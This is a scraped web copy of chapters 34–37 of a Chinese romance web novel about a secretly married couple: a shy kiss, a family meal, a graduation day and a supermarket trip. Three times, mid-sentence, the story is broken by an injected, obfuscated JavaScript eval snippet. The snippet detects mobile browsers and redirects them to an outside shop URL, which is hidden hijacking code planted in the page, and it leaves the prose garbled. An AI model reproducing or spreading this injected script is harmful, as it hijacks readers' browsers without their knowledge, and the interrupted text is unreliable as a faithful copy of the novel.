这块地方真的很小，常妙现在身子大部分还是在桌子底下，只有一个脑袋露了出来，别说待会儿会不会再碰一下，这么蹲着也不舒服。 常妙却理理裙子，一字一顿地拒绝说：“目、标、太、大！” 梁嵛这下懂了，她是趁着她妈妈睡着溜出来的。 常妙不仅要降低自己的存在感，还想把梁嵛这大目标的存在感也降一降，她伸手拉着梁嵛躺下，“你就这样躺着，我跟你说会儿话就走。” 梁嵛看了看她，放松侧躺下来。 安静几秒。 常妙抿了下唇，悄声问：“你怎么还不睡觉？快一点了。” 没睡和睡着了被吵醒的声音是不一样的，他明显是没睡。 梁嵛：“不困。” “哦。”常妙说，“……今天那家火锅还挺好吃的。” 梁嵛：“那下次有空我再带你去？” 常妙：“好啊。” 又琢磨了会儿还能再铺垫什么，梁嵛开口，“妙妙，你对我可以有话直说。” 常妙眨了下眼，笑，“我已经在向你学习啦。” 这么蹲着确实也难受，常妙调整了下姿势，两只脚往前蹭了蹭，胳膊搭在床边，趴过去垫着下巴说：“我给你发的信息你怎么没回啊？” 梁嵛一怔，“我没看。” 他伸手想去摸手机，但被常妙拉住，“不用了，我可以直接说。” “我就是想问问你，是不是为车上的话不高兴了？我跟我妈妈说的那些。” 梁嵛：“没有。” “真没有？”常妙质疑，“阿嵛，你会骗人了。” 结果梁嵛语气正经，“不会骗人的不是一直是你？” 常妙：“……” 梁嵛：“不过我没骗你，我没有不高兴，我知道你为什么那么做。你跟你家人关系很好，我当初的举动其实后来想想，换成任何一个人来看确实很有心怀不轨的嫌疑，所以你不跟他们说实话我理解，这也代表你相信我。” “只是。” “？” 常妙凑近准备细听。 “下次别给我编个女朋友了，我只有一个妻子。” 常妙视线移至梁嵛的脸上，呆了呆，心跳在雨声的掩盖下还是让她紧张，过了一会儿，她点头如捣蒜地退回去，“我不编了，我马上就正式毕业了，后面会找机会跟他们说清楚的。” “不过，还是不能太快，从男朋友开始可以吗？” 梁嵛浅浅提起唇角。 “当然。” 达成约定，两个人算是各自暗暗地放下了一点心事，梁嵛就这么躺着看了会儿常妙，忽然意识到，“不回去睡吗？” 常妙“啊”了声，抬起手，“我摸摸你额头就走。” 梁嵛有些无奈，只是生了一次病而已，怎么搞得他好像一直身体都不好似的，但他还是撑起身子，顺从地等她摸完去睡觉。 常妙眸光微闪，“是这吗？” 她感受着触到的轮廓，不确定地问。 “不……” 梁嵛倏地一怔，有什么软软的在他脸上轻点而过。 常妙做完坏事，屏住呼吸，瞪大眼睛看他。 好几秒过去。 ……嗯。 怎么没反应呢？ 羽鹭说亲完一定要看眼睛，可是这么黑她真的看不到那么细节，那现在他不主动又不后退是什么意思？ 不喜欢她吗？ 常妙简直对这个推论如遭雷劈，女孩子的脸皮可是很薄的，她有勇气亲他，可没勇气在这一直等他，脑袋烫的发昏，她转头就跑。 “哎呦！” 常妙又被桌子碰了一下。 梁嵛回了神，起身想叫住常妙，但她爬得飞快，迟疑的两秒就叫她溜进了屋里。 黑暗中，他一个人坐在床边，脸上那种温软的触感好像还没消失。 喉结忽地滚动了下，他视线下落，眼睫颤动。 35. 第 35 章 第二天早上，常妙是最晚醒来的一个。 但从卧室出来，屋里居然一个人都没有，舅舅她知道，今天要上班，但妈妈和梁嵛呢？ 常妙正想着，门口传来翻找钥匙的声音，她快步过去，先一步打开门。 门外果然是他们俩。 “终于起来啦？”方沉兰看见她，装着看了眼手腕上根本没有的手表，“还行，太阳没下山。” 常妙：“……妈妈！” 方沉兰笑，“好好好，我不说你。” 邻居家的狗日常汪汪叫了几声，又被主人给撵回去了，方沉兰先进来，然后给身后的梁嵛招手，“快进来小梁，东西放桌子上就好，我来收拾。” 常妙于是退一步，再退一步，直到给两人留出足够通过的空间。 而后这才看清梁嵛手上拎的什么，大的里塞小的，他两只手，满满四五袋子菜！ “你们……”她说着突然一顿，眼神从梁嵛脸上打滑飘过去，跑去找方沉兰了。 梁嵛看向她的背影。 常妙：“妈妈，你们去菜市场了？” 方沉兰在厨房洗手，“昂，小梁今天不是在这吃吗，我早上起来看雨停了，就想去买点新鲜的，小梁听了，就跟我一块去了。” 说起这个，方沉兰还觉得今早这趟挺高兴，忍不住跟女儿也说道，“你都不知道吧，小梁买菜还真是一把好手，什么菜都会挑，还了解菜价！早上就该把你叫起来一块去看看，学习学习！” 常妙鼓了鼓腮帮，没接她这茬，就挨在方沉兰旁边看她洗水果，自以为这样就能安全躲避昨晚被她干下坏事的人了，但身后那人不听话，没多会儿拎着一堆菜也进来了。 厨房就这么大，两个人可以宽宽敞敞的，但三个人就有点挤了，常妙被笼罩的短短一秒，紧张达到峰值。 梁嵛：“阿姨，我把菜放这了。” 方沉兰：“好，辛苦陪我跑了一早上，快去坐着吧，剩下的我来弄。” 梁嵛低头看了眼身前的人。 还是不肯看他。 “阿姨，我帮您剥蒜吧？我坐那也没事。” 方沉兰想了下，“也行，那顺便帮我把这个拿出去吧，一会儿你们吃。” 水灵灵的油桃漂亮地摆在水果盘里。 梁嵛接过，再从袋子里拿出新买的蒜，出去了。 既然这顿饭是为了招待人家，自然没有让客人一个人干活的道理，这么大个劳动力在这，方沉兰指派任务，朝常妙挥了下手说：“去，帮小梁一块干。” 常妙头一回有这么强烈拒绝的心，但她这次偏还拒绝不了，俩人昨天才一块吃饭，今天她就不愿意跟人家“共处一室”算怎么回事？ 她硬着头皮出去，只要不对视，她就不尴尬！ 梁嵛坐在饭桌那，常妙还没过去，她就发现他旁边的那个椅子被拉出来了。 明明早上起来的时候，这都摆的好好的。 是谁干的不用多说。 梁嵛这时突然扬声，“妙妙，帮忙拿个空碗出来。” 常妙从背后哀怨地瞅梁嵛一眼，拿了碗放他面前。 “呐。” 梁嵛顺着她的手往上看，小姑娘脸愁得很，碗放下就拿走他刚掰下来的一半蒜开始和蒜皮较劲。 梁嵛把她拿走的又拿过来，掰成单个的垒在两人中间，常妙妈妈在厨房，他不用太顾及，可以小声点问，“刚才在门口为什么躲我？” 常妙：“……” 梁嵛又说：“昨天你亲我了。” 这句话是疑问，也是陈述。 常妙震惊抬头，终于有了反应。 面对控诉的眼神，梁嵛敛下眼皮，却一本正经，“我就是想确认一下。” 常妙脸上不自在地发烫，“确认什么？” 梁嵛：“确认你是不是对我有些不一样了。” 梁嵛：“我昨晚想了很久。” 常妙下意识并不觉得这是一句好话，她昨天也琢磨梁嵛的反应来着，但想了一晚上也没想出个所以然，今早又看见他这样，神态平静，更觉得自己是自作多情了。 也是，他那么古板，还固执，还工作狂！还性冷淡！！估计真的就是想结婚有个老婆罢了，其他的对于他应该也不是那么重要。 但常妙不想两人关系之后再变得更尴尬，就顺着接了一句，“想什么了？” “想你的不一样和我的不一样，是不是一样。” 一颗洁白饱满的蒜瓣在梁嵛修长灵活的手指下剥出，他放置一边，认真说：“妙妙，我很开心。” 常妙倏地一怔，懵懵看向梁嵛。 他仍在处理着手上的活，神色温和，薄薄的眼皮半垂着，一贯寂静的黑眸像是湖面落了花，风一吹，有粼粼星光闪动。 架在他高挺鼻梁上的那只银边镜第一次没能撑住他身上严肃的气质，嘴角不知道是提着还是没提，却能让常妙感觉到他确实如他所说，很开心。 常妙收回视线，眼睛眨了眨。 原来他对她也有感觉吗。 而且可能比她还要早？ 喜欢的人也喜欢自己可是件了不得的事情！ 意识到这一点后，常妙扭头装模作样地打量了一圈旁边白刷刷的墙面，压住嘴角，端起来了，“有什么开心的，说不定你是猜错了呢！” 谁知对面的人听完这话整个人一顿，看了她半晌，像是在思索什么，然后就顶着那张看起来明明很聪明的脸问出了个最傻的问题，“所以你昨天是逗我玩的？” 梁嵛低下头，有些茫然，他昨天也想过这个问题，常妙对他到底是真的不一样了，还是一时之趣。 这不是以前遇到的那种一看便知的生活问题，现在的年轻人好像看待感情没有以前那么重，谈恋爱不等于要结婚，结婚的也能离婚，更何况他们这种事先打了报告的。 所以，常妙是觉得无聊，想尝试什么，还是真的喜欢他，他不确定。 常妙眼见着他叹了口气又回去剥蒜了，嘴巴张了又张，心里有千万句话愣是蹦不出来。 碰巧这时，厨房传来一声方沉兰的惊呼，还有什么掉地的声音，两人放下手里的东西，双双跑去厨房。 地上，是一条已经开膛破肚的鱼，方沉兰拿着刀有些尴尬又惶恐地指了指鱼，“它还活着！” 梁嵛对于这种情况已经非常熟悉，他简单解释了下是神经反射弧引起的肌肉反应后，过去把鱼捡起来，放进水池，重新清洗，洗完就切，切完就腌，不知不觉就默默接过了午饭的工作。 方沉兰开始还挺不好意思，在旁边帮了一会儿就发现自己在那可能还给人家添乱，没多久就主动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13292042|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 退出来了，但常妙一直扒在门框上盯着梁嵛，方沉兰问她干什么，她就说自己是来学习的。 方沉兰觉得女儿学点做饭也挺好，起码以后饿不着自己，就随她看着了，殊不知常妙在她身后，其实咬着牙，完全是气坏了。 不是，她就随口说了一句，他不能真信了吧？！ 最后菜炒好，端上桌，常妙观察他略显落寞的眼睛—— ……好像还……真信了…… - 潮湿的雨天终于过去，未来的一周看天气预报都是好天气。 但于梁嵛来说，最近的日子过得属实有些混乱。 因为自从那天从方沉兰家回来，他就发现常妙变得有点怪怪的。 她似乎对逗他玩上了瘾。 这天晚上，两人吃完饭，常妙在书房画画，梁嵛在客厅看书，临近九点，常妙从书房出来接水，经过客厅时突然转了弯。 梁嵛的余光看着常妙一步一步过来，走到他旁边，挨着他坐下。 他不动声色，但捏着书的手却紧了。 常妙比他还不动声色，“你在看什么书啊？” 她凑过来，脸颊的软肉跟他的肩膀只有一寸距离。 梁嵛翻过来，把书皮给她看。 常妙眼前瞬间一花，大概还是本他工作方面的书，就连标题里的那个名词她都不理解是什么意思…… 梁嵛见她退回去，也没离开，想了想，问：“你稿子画完了？” 常妙喝了口水，“还差一点，明天我再继续，画的手腕疼。”说着，她突然抬起眼，冲梁嵛笑，“你能给我揉揉吗？” 梁嵛当时心里就一沉，就是这样，她最近总是这样，有意无意的接触，以前从来不会提出的要求，每次说完还要再朝他无害地笑一笑，好像她只是随口这么一说，但梁嵛总感觉有什么不对。 他放下书，摊开掌心，“哪只手？” 常妙乖巧把右手伸过去，“这只。” 梁嵛握住，她手腕细，按摩的时候跟捏着个小玩偶的手一样。 客厅很安静，常妙垂眸看着梁嵛的动作，好似注意力都在这，但真实的情况是，常妙的注意力都在旁边的这个人身上，她能感觉到梁嵛不时在看她。 这种观察让常妙非常愉悦，她想笑，就弯唇笑了，也不怕梁嵛问她笑什么，因为她会说：“就是在看你的手啊，好看。” 梁嵛神色不定，他觉得大学做过最难的课题都没现在难，他很想知道答案，“妙妙，我能再问你一遍吗，你对我到底是……” 常妙抢答：“逗你玩，你信吗？” 梁嵛说不清，心里感觉应该不是，但理智上他又觉得不是没可能，毕竟她上次都当面说了，说不定是他猜错了，而且她从来没骗过他。 常妙看着他迷茫的表情，心底一噎，可是她现在不想解释，她也不知道自己怎么了，以前从来没有这些小脾气，但现在就非常想气气梁嵛，看他什么时候才能想清楚。 她可是亲了他诶。 亲！！！ 她什么时候用这种行为逗人玩过？ 晚上，两个人上床睡觉，梁嵛还在思考这个问题。 漆黑的房间里，旁边是均匀的浅浅呼吸声，梁嵛睁开眼睛，看向身边的人。 能这么坦然地睡着，那应该，是真的？ 36. 第 36 章 不管怎么样，日子还是得过。 常妙下周毕业典礼，通常如果是本市的学生，家长有空的话都会去看看，然后和孩子一起拍个照留个纪念。 从小到大，方女士从来没缺席过她这些重要场合，那天肯定是会到的，常妙在微信上跟她说了时间，想了想，又去客厅找了梁嵛。 梁嵛正在打扫卫生，常妙算是把宿舍大半的东西都搬过来了，以前空荡荡的客厅多了几个小摆件，沙发上也有一只丑萌的大兔子常驻帮忙看家。 常妙穿着他们俩当初一块去超市买的那件碎花睡裙，她脚步轻快，梁嵛眼角刚闪过一抹衣角，就见常妙弯着腰，歪头看他，“我毕业那天，你要不要来？” 梁嵛刚才听见她发语音了，他直起身，思考了下，“但阿姨那天不是也要去吗？” 按照往常，这种时候她一定会把他藏起来。 常妙却假意瞪他，“我问的是你！” 梁嵛沉默片刻，直到此刻，他对常妙的态度仍然无解，但有一点想清楚了，他对她不会变，他会尽可能地对她好，也想尽可能地参与到她的世界去。 “嗯，想去。”他点了头。 常妙闻言，一下子弯起眸，“我妈妈那天不会待很久的，拍两张照片就走了，那到时候我给你发消息？” 梁嵛：“好。” 约定达成，常妙好心情地拿过旁边的扫把，“我和你一起收拾。” - 六月下旬，庆大终于迎来了今年毕业生的最后一项重要活动。 这天的行程非常满，早上是毕业典礼，中午到下午的这段时间学生们可以去拍照，晚上则有毕业晚会。 统一的学士服散落在学校的各个角落，班级照拍完，剩下的就是个人合照，大学的同学来自五湖四海，今天过去，以后真的不一定能再见到，所以每个人都拉着自己或是相熟或有遗憾的同学拍照。 梁嵛是下午一点多到的，在车里等了半小时终于收到常妙发来的消息。 下车前，他暂时摘下戒指，仔细收放到了收纳箱里，然后才捧着副驾的花进了学校。 “来，三二一！” 湖边的歪脖子树下，常妙和秦羽鹭互相给对方比心，陆宗序担任着摄影师的身份，左边一张右边一张，近距离一张远距离一张，动态视频再来一段，拍好了之后他撑着腰把相机给秦羽鹭，“好了好了，你俩快看看吧。” 秦羽鹭笑着接过，一边翻一边漫不经心地挑衅他说：“这就不行了？一会儿还有我们宿舍四个人的呢。” 陆宗序擦了把头上的汗，从秦羽鹭的包里找出小扇子给自己扇风，“行，我怎么不行？但是一会儿我决定由我的助理为你们服务。” 说罢，他掏出手机立马拨通梁嵛的电话。 “喂，老梁，你走哪了，这么慢？” 梁嵛拐过弯，看见不远处三人的身影，“已经到了，你右边。” 常妙听见陆宗序打电话了，她抬头，看见梁嵛的同时，也看见了那束花，她微微惊讶，然后把手机给秦羽鹭，“我先去接他啊。” 突然被剩下的秦羽鹭：？ 陆宗序笑她。 “阿嵛！” 常妙昨天没在家里住，为了今天这个重要日子，和秦羽鹭两个人在宿舍早早就起床打扮了。 她原本头发是直的，到腰，现在全部烫成微卷，跑动时，发尾在半空飞舞，很是漂亮。 树荫下，斑驳的光影从她身上掠过，像是圣洁的浴礼。 梁嵛望着她，心里某处不由动了下，他把手里的花递过去，黑眸温柔，“毕业快乐。” 常妙接过，是向日葵，她手指点点花瓣，“怎么还舍得买花啦？” 梁嵛：“今天很特殊。” 常妙不禁笑，“谢谢，我很喜欢！” 身后秦羽鹭和陆宗序还在等他们，常妙不再多说，瞅他一眼，自然地拉着他的手带他往那边走。 这还是他们第一次这样公开地在学校里牵手，虽然是在常妙妈妈不在的情况下，但也足够让人愉悦。 陆宗序揶揄的目光从梁嵛出现就一直在他身上打转，生怕人看不见，等人过来了，他揽住梁嵛肩膀，“丈母娘走了，终于亮相了？” 梁嵛目视前方，拿胳膊肘毫不留情地捅他一下。 陆宗序不防，哎呦一声，立马撒了手。 秦羽鹭看的一笑，然后把相机抬起晃晃，“走吧，咱们去下一个景点。梁助理，听说你待会儿要为我们服务？” 服务？ 梁嵛不解看向常妙，常妙拿眼神示意陆宗序，“他拍累了，说让你给我们拍。” 梁嵛懂了，“好，那交给我吧。” 但梁嵛坦然地接下任务，不代表被拍的女孩子们也能坦然接下他的拍摄成果，大夏天的，摆姿势也挺累的，咔咔一顿拍，最后出片的没几张，明明常妙和秦羽鹭在女生里都算高的，但在梁嵛的手下，全是六四分的变种小矮人，上身六，下身四。 秦羽鹭看的皱眉，常妙看的发愁，梁嵛本人还在等真·领导们的回复，他眉间微蹙，神色端正认真，站在旁边颇有助理那味儿了。 陆宗序凑过去也看，比起秦羽鹭的不好说，和常妙的不想说，他直接开大嘲笑了，“哈哈哈哈哈，老梁，你也练练你这技术吧，没给常妙拍过照片吗？她没打你？” 梁嵛侧着头，从两姑娘紧挨着的夹缝里瞥了相片一眼，他怎么感觉还行呢，脸都拍清楚了。 这时，常妙转过头看他，白嫩嫩的脸上带着安慰的笑容，“阿嵛，没事，我知道人不是完美的，但我希望，我以后不要以这种方式出现在你的手机里。” 梁嵛：“……” 最后，还是由陆宗序接手了这项重要工作，赵婕和李茜熙各自和亲友拍了一圈也回来了，两个人早就听说过梁嵛的大名，今天终于得见也是很激动。 常妙是她们宿舍最乖的，大学四年就谈过一回，那次早早分手不说，还落下了心理阴影，所以时隔两年，突然冒出来个男朋友，听说还是个年纪比她大的，就特别好奇到底是个什么样的人。 李茜熙：“是那个吗？” 她指着站在常妙和秦羽鹭旁边的男人。 “应该是吧？”赵婕也不确定，但她们旁边就站了那一个，大概率没错，看背影，个子高挑，牛仔裤灰T恤，挺时尚的，似乎跟她们差距也不大。 “嗨，我们来了。”赵婕给对面挥手。 常妙听见声音，探出头也挥手，陆宗序社交达人，友好给两个新来的女生打招呼。 赵婕和李茜熙互看一眼，又扫陆宗序一眼，两人再一起看向常妙和秦羽鹭，相处四年，短暂的眼神交流已经让彼此明白对方是什么意思了，秦羽鹭笑了下，“这个是我男朋友，梁嵛他是……” 秦羽鹭朝她们身后望去，抬了下下巴，“那个！” 赵婕和李茜熙顺着她的目光回头一看，两人都惊呆了。 这不是她们俩刚才在便利店门口看见的那个人吗？！ 她们俩还以为是哪个学院的老师呢！ 其实也不能怪赵婕和李茜熙认错，梁嵛和陆宗序虽然是同年生，但两人的性格和外貌给人的感觉都非常不一样，陆宗序就是那种天生好人脸，很面善，如果某天在大街上需要问个路，那二者之间一定先选陆宗序。 而梁嵛，都不用多说，他今天还特地因为常妙毕业，挑了件有颜色的衣服穿，但这也压不住他身上那种严肃的气质。 他手里拎着一袋子饮料，过来之后，先找常妙，常妙跟他介绍之后，才礼貌地跟她另外两个舍友问好。 “你好你好。” 两人的状态完全不如刚才跟陆宗序打招呼时放松。 四个女生走在前面，陆宗序和梁嵛在后面慢慢晃着，想起刚才突然安静下来的氛围，他忍不住低声跟梁嵛说：“有时候我也挺佩服常妙的，跟你相处好像完全没觉得无聊或者不自在，我记得我最初跟你接触的时候还经常碰一鼻子灰。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13305863|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 梁嵛的目光始终落在前面，“所以我说了，她很好。” 还挺骄傲，陆宗序笑。 - 宿舍的合照拍完后，四个人暂时分开，今天是她们在学校的最后一天，李茜熙不是本地的，明天就走了，另外三个人也各有归处，所以她们打算晚上一起吃个饭，然后看晚会，再久违地进行一场宿舍夜聊，这一趴是没有男生的份儿的，但梁嵛和陆宗序来都来了，不可能当完工具人就叫人家走。 所以中间空下来的这两个小时，就由各自家属领回，先找地方玩去，等吃饭了，再在学校侧门见。 学士服是学校方面买的，每年学生轮流穿，穿完还得给还回去，常妙把脱下来的学士服托给羽鹭，陆宗序不久留，她就跟他在学校坐会儿就回宿舍了。 “那就拜托你啦，我跟他去逛逛就回来。” 秦羽鹭：“OK。” 打好招呼，常妙转向梁嵛，发现他眼神正一错不错地看着她的裙子。 她今天穿了件浅蓝色的法式吊带裙，柔软的料子，剪裁简单，只是在几处位置做了抓起褶皱的设计，并非是刻意勾勒身材，但纤细的腰线一览无遗。 她有些不好意思，蹦起来吓他，“还看？” 其实梁嵛今天来的时候她就意识到了，两人穿了同色系的衣服，而且她的鞋子是黑的，他的裤子也是黑的，碰巧就凑成了某种意义上的情侣装。 刚才她脱学士服的时候就有点不自然，现在被他这样专注看着，整个人就好像进了桑拿房，热得不行。 梁嵛倒没联系到什么情侣装，他刚才只在想，很漂亮，他面前这个姑娘很漂亮。 不过常妙一直都很漂亮。 视线又在她脸上停留一秒，他牵住她的手，握紧，“不看了，走吧。” - 六月是毕业季，南江科大的毕业典礼也即将开始，就在一周后。 来这逛是常妙的提议，庆大刚才她算是带梁嵛浏览了一遍，两个人的毕业学校离这么近，她也想在本人的带领下，去他学习了七年的大学看看。 “那边是我们当时的教学楼。” “那是教务楼。” “从这条路过去一直走是图书馆。” 梁嵛边走边给她介绍着，脚步很慢，中途偶然遇到一个电信院的学生，因为之前看过讲座，记得梁嵛，看到他跟一个女孩子牵手在学校逛还挺惊讶的，路过了又跑回来，问了几个专业问题，最后不好意思扫常妙一眼，祝福俩人长长久久就跑了，连梁嵛的一声谢谢都没听到。 高大的悬铃木遮阴伫立在道路两旁，就算遮了阴，走得久了还是热，两人坐到操场边上，看下面的人来来往往，安安静静地等着一阵阵风吹过来也挺舒服。 突然，梁嵛指了下斜对面的主席台说：“科大的毕业典礼每年都是在操场上办，在那搭架子。” 常妙一顿，记起来，“我知道，我以前来过一回，正好那天就是你们的毕业典礼。你们是不是还有给毕业生送花的传统？我当时还给一个学生送了花呢。” 梁嵛看向她，常妙眉眼染笑，等他的肯定。 他看了半晌，“嗯，是有这个传统，送向日葵。” 常妙把他怀里的花又抱回来，“那不就是这个，难怪你送我向日葵呢。” 说话间，她注意到梁嵛空荡荡的无名指，“你今天怎么没带戒指？” 梁嵛：“怕过来的路上遇见阿姨。” 常妙：“这么谨慎？” 梁嵛不说话，但目光略有深意。 常妙恍然，论谨慎，还是她更甚，上次去她家的时候，因为下了车才想起来，惊骇之下她直接给人扒了下来…… 常妙轻咳一声，故作淡定，“没事，以后可以不用那么谨慎了。”她低头翻开自己的小包，里面正躺着一个首饰盒。 她打开，取出里面的戒指戴上。 兀自端详了一会儿，又给梁嵛展示，“今天回去后，我们一起戴吧？” 37. 第 37 章 天气转热，自从那段雨季过去，气温就一直攀高，常妙多数时候都是一个人在家，开空调有些浪费，就每天面前放个风扇吹啊吹。 梁嵛周五下班回来，没像往常一进门就看见常妙，换了鞋，过玄关的时候才发现人正躺在沙发上。 半人高的风扇缓慢摇着头送出柔风，常妙抱着抱枕，歪头靠在她的丑兔子玩偶上，睡着了。 她上个月毕业把宿舍里的东西都彻底搬过来了，家里现在多了很多比以前更富有生活气息的物品，衣服也有，最近热，他之前买的那些有点过季了，常妙就把她自己的一套小吊带和短裤穿上了，都是宽松款，荷叶边，并不会显得过于暴露。 梁嵛蹲在她旁边看了会儿，然后起身去卧室里翻出一条丝巾，盖在了常妙的肚子上。 挡风，透气。 常妙醒来的时候已经快七点了，夏季昼长夜短，她一时也没觉得过去了多久，但等抬头看表，吓了一跳，坐起来时，肚子上的丝巾坠地，她捡起来愣了愣，放好，往厨房跑去。 厨房的门关着，一打开就能听见冲破隔膜的抽油烟机的声音，梁嵛系着围裙，正在灶上翻炒。 辣椒炒肉的味道有些呛人，但常妙闻见感觉到的只有让人垂涎欲滴的香味，她吞咽了一下，站在旁边舔了舔唇，“不好意思啊，我睡过头了，忘记备菜了。” 软软的声音像是在撒娇，梁嵛不禁掀眸看她，“没事，我做也是一样，再一盘菜，很快好。”说罢，他拿筷子夹起锅里的一块肉片放到常妙嘴边。 常妙一下笑起来，张嘴咬住，“好吃！” 梁嵛微微皱眉，“小心烫。” 常妙没在意，帮着把菜端出去。 “冰箱里没菜了，家里的一些日用品也需要填补，明天我去趟超市，你要不要去？” 饭桌上，梁嵛问常妙。 常妙：“好啊，一起去。” - 小区附近就有一家连锁超市，两人早上出发，也没开车，就推着梁嵛那个小推车走了。 两站路，其实也就二十分钟路程，常妙随意跟梁嵛聊着天没多久就到了。 比起上次一起来的不自在，常妙这回可自如多了，梁嵛推着超市的大购物车，她推着自家的小车，常常是梁嵛在挑选，她就不见了，然后过一会儿又出现了，梁嵛开始还有些担心两人分散，但多来几次他就随意了，因为两人总能在下一个转弯处遇见。 常妙：“这个黄豆酱要买吗？” 梁嵛：“家里还有。” 常妙：“陈醋没了，新的要不要换个牌子？” 梁嵛：“那就拿你手上这个。” 不知不觉逛了两个小时，去结账的时候两个车子都满了。 “您好，请问怎么付账？” 梁嵛：“支付宝。” 嘀的一声。 手机正中圆圈消失，支付失败。 原因是余额不够。 “妙妙。” 梁嵛叫了常妙一声，常妙过去看，突然想起，自己这个月还没给他转生活费！ 两人默默对视一眼，常妙率先移开自己心虚的眼神，掏出自己的手机，“我来吧。” 收银员视线在两人身上逡巡一圈，似乎在猜测什么，但只笑了笑，做自己的事去了。 出了超市，常妙拎着一袋卷纸，再次提议，“要不你就把你的工资卡收回去？万一我下次又忘了，你说你在外面吃饭都付不了钱。” 这人还给自己规定了数额，每个月就一千五。 但家里平时的水电支出是他，柴米油盐是他，车油保养是他，毕竟成年人了，每个月需要花钱的地方很多，还不时会有些意外支出，所以她觉得真的很紧巴。 梁嵛却很坚定，“没事，你忘了我提醒你。” 常妙失笑，“你就不怕我哪天卷款携逃？” 梁嵛还真认真看她一眼，片刻后，“那你每个月多给我五百？我攒着。” 常妙：“攒着干嘛？” 梁嵛一脸正气，“私房钱。” 常妙：“……” 常妙：“那我才不给你！” 梁嵛坦然，“那就不给。” 常妙：“可你外面吃饭够吗？” 梁嵛：“……五百？” 常妙：“一百。” 梁嵛：“四百。” 常妙：“两百！” …… 梁嵛从来没想过有一天会跟人这样在街上拌嘴，很陌生，但这种感觉同样也很好。 常妙最终还是决定给他涨了五百生活费，作为感谢，梁嵛晚上又做了一道新菜给她换换口味。 只是晚上，他时隔多日刷了下朋友圈，发现张婶住院了。 - 梁嵛没有每天刷朋友圈的习惯，知道张婶住院已经是发生了三天后的事情了。 其实客观来讲，他们两个人的关系并不至于到特别亲近的程度，只是恰好在各自人生的某一阶段里有一段缘分，而对于梁嵛来讲，则更会特别一点，因为张婶是他少有的指引他未来该怎么走的一位长辈。 大学之前，他有很长一段时间是没有手机的，所以从福利院离开后，两个人也就再没见过，直到有一次无意间路过福利院附近，发现张婶还在那摆摊，两人才交换了联系方式。 此后就是每年过年会固定去拜访一下，其余时间看情况，张婶也很高兴他来，小时候看着那么矮个小孩，如今长大了还事业有为，她感觉也挺奇妙的。 而且她还有个儿子，跟梁嵛差了六岁，学习一般，当初考学的时候还让梁嵛帮忙教了一阵子，好容易才勉强考上了一个一本，这次梁嵛也是先跟他联系的。 在客厅打了好几分钟电话，常妙端着洗好的水果出来时，梁嵛终于放下了手机。 常妙坐到他旁边，“你明天要去看医院看张婶吗？” 梁嵛摇头，“明天不去，等下周吧。张婶说她过两天就回家了，不愿意我跑医院，要去可以出院再去看。” 常妙：“那也行，问是什么病了吗？” 梁嵛：“胆结石，问题不大，手术已经做完了，现在就是观察期。” 常妙放下心，“那，我下周也跟你一起去？” 梁嵛掀起眸。 “？” 常妙一看这人不说话，还略带探究地望着她，顿时有些脸热，“是你之前自己说的要带我去看张婶！” 梁嵛点头，“我记得，本来也是想问你的。” 常妙盯他一阵，突然没话了，梁嵛太直白，看人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13318333|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候也不知道掩饰，那种好像快要把她看破的眼神，让她一瞬间完全忘了她原本也希望他快点想明白她的态度的。 片刻，她果断放下蓝莓，起身进屋，同时忿忿撂下话，“我去睡觉了，你把盘子里的都吃光！” - 这周六，梁嵛提前买好了拜访的一些水果礼品，两个人下午直接从家出发。 常妙对张婶还是很有好奇心的，路上有点远，她不时就会有问题要问一问梁嵛，例如张婶家有几个人，性格都怎么样，她过去都要注意什么，到时候跟着他一起叫人行不行？ 梁嵛都耐心一一解答了。 老一辈的大多还是会跟公婆住在一起，所以张婶家人也比较多，除了丈夫郑叔，还有郑叔的父母和他们的儿子，叫郑诚。 梁嵛：“也没什么要注意的，郑叔、郑诚和郑爷爷三个人性格比较像，都是老实人，话不多。郑奶奶现在耳朵不好，你说话得大点声。张婶性子很外向，你见了面就知道。” 常妙点点头，心里越发有些期待起来。 身侧的手机响了一声，她打开看了眼，关掉，继续欣赏沿路的风景。 快到张婶家的时候，常妙远远就看见小区门口有个男生在那站着，开始还以为是路人，等车开过去了，男生朝他们这招手，她才意识到这个可能是张婶的儿子。 梁嵛在旁边也提示，“是郑诚。” 车在门口停了下，梁嵛按下车窗。 郑诚：“梁哥，我妈让我来接下你。” 郑诚皮肤偏黑，个子不高，一米七五六的样子，但是一头利落的短发，眼睛明亮，看起来很有精气神。 梁嵛嗯了声，他每次过来张婶都会让郑叔或者郑诚出来接他，说是怕他找不见，“上车吧，我直接带你进去。” “哦，好。” 